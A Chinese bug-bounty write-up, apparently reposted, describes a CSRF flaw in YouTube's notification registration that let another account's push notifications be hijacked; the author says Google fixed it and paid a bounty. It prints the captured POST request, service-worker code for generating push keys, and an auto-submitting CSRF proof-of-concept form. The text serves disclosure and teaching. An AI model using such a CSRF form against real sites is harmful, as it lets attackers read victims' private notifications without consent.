内容简介：某天晚上，我在YouTube官网上测试漏洞，看看能有什么发现，不知不觉时间已经是半夜00:30了，困累之极…..。我就随便点点打开了YouTube的通知服务（Notification），其中的POST请求引起了我的注意：乍一看，为了防止CSRF，其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串，但仔细一分析才知道，这些所有的参数都是由其中
大家好，今天分享的writeup是关于YouTube通知服务（Notification）的CSRF漏洞，作者利用该漏洞可以劫持其他YouTube用户（受害者）的通知服务，能以受害者用户身份接收到其订阅频道或视频的最新通知，漏洞最终获得Google官方$3133.7美金的奖励，以下是作者的分享。
从POST请求中发现端倪
某天晚上，我在YouTube官网上测试漏洞，看看能有什么发现，不知不觉时间已经是半夜00:30了，困累之极…..。我就随便点点打开了YouTube的通知服务（Notification），其中的POST请求引起了我的注意：
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--
乍一看，为了防止CSRF，其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串，但仔细一分析才知道，这些所有的参数都是由其中 updates.push.services.mozilla.com 的Mozilla通知推送服务产生的，所以，这样初略来看，该接口上不存在CSRF漏洞。
分析 Service Worker 服务工作线程
深入分析可知，上述POST请求中的referrer字段值为“ https://www.youtube.com/sw.js ”，这个sw.js明显为一个服务工作线程脚本（Service Worker）。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面，也不需要其他交互，异步地运行在一个完全独立的上下文环境，不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能，本质上来说，Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说，referrer字段中的sw.js发起了这个POST请求，以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
构造CSRF攻击框架
到了这一步，从这些参数里，我隐约觉得这里应该会有漏洞出现，但总要构造个PoC出来试试看。因此，通过研究以上参数的生成机制，我利用sw.js原理，编写了以下三个代码文件，构建了一个本地服务端来生成其中的各个参数。
index.html：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>
index.js：
const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js：
self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
这三个代码文件的目的在于获取sw.js请求时生成的各个参数，有了这些参数，就可以间接形成通知（Notification），打开其中的index.html页面，点击Ask Permission按钮请求通知权限，后台调用sw.js脚本，通过内置的Firefox API形成一个本地的通知服务端，通知请求提交时，我们就能获取到其中的各个参数。利用这些参数，可以进一步构造出CSRF攻击框架，就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端，需要用到Service Worker 服务工作线程（sw.js）的部署原理，其中涉及服务注册、激活、缓存控制和相关响应机制，具体可参考： developer.mozilla.org 和 developers.google.com 中的详细介绍说明。
综合上述分析，基于我们之前创建的本地通知服务端，结合Youtube的通知请求提交方式，我构造了以下CSRF攻击框架：
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
</html>
让我意想不到的是，我在其中以其他Youtube账号身份，利用获取到的各种请求参数，提交了通知请求，竟然能有效实施通知消息的CSRF攻击。也就是说，我们现在可以劫持到其他Youtube账号的消息推送接口（PUSH webhook），以其他Youtube账号身份收取到Youtube响应该账号的相关通知，这些通知可能是他订阅的某个频道或视频的更新消息，也可能是他私人视频的观众评论等，如下：
漏洞上报后，谷歌在半小时之后就给了我回复，称漏洞有效，会尽快走完验证修复流程，并会及时给我后续通知。半个多月后，谷歌回复称修复工作已经完成，漏洞按其VRP项目核定，达到$3133.70美金的奖励。
以上所述就是小编给大家介绍的《挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
猜你喜欢:
- 挖洞经验 | 篡改密码重置的加密参数实现账号劫持
- 挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
- 挖洞经验 | 看我如何发现星巴克（Starbucks）子域名劫持漏洞
- 挖洞经验 | 密码重置Token可预测性导致的账号劫持漏洞
- 挖洞经验 | 通过密码重置功能构造HTTP Leak实现任意账户劫持
- 挖洞经验 | 从XSS漏洞到四步CSRF利用实现账户劫持
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
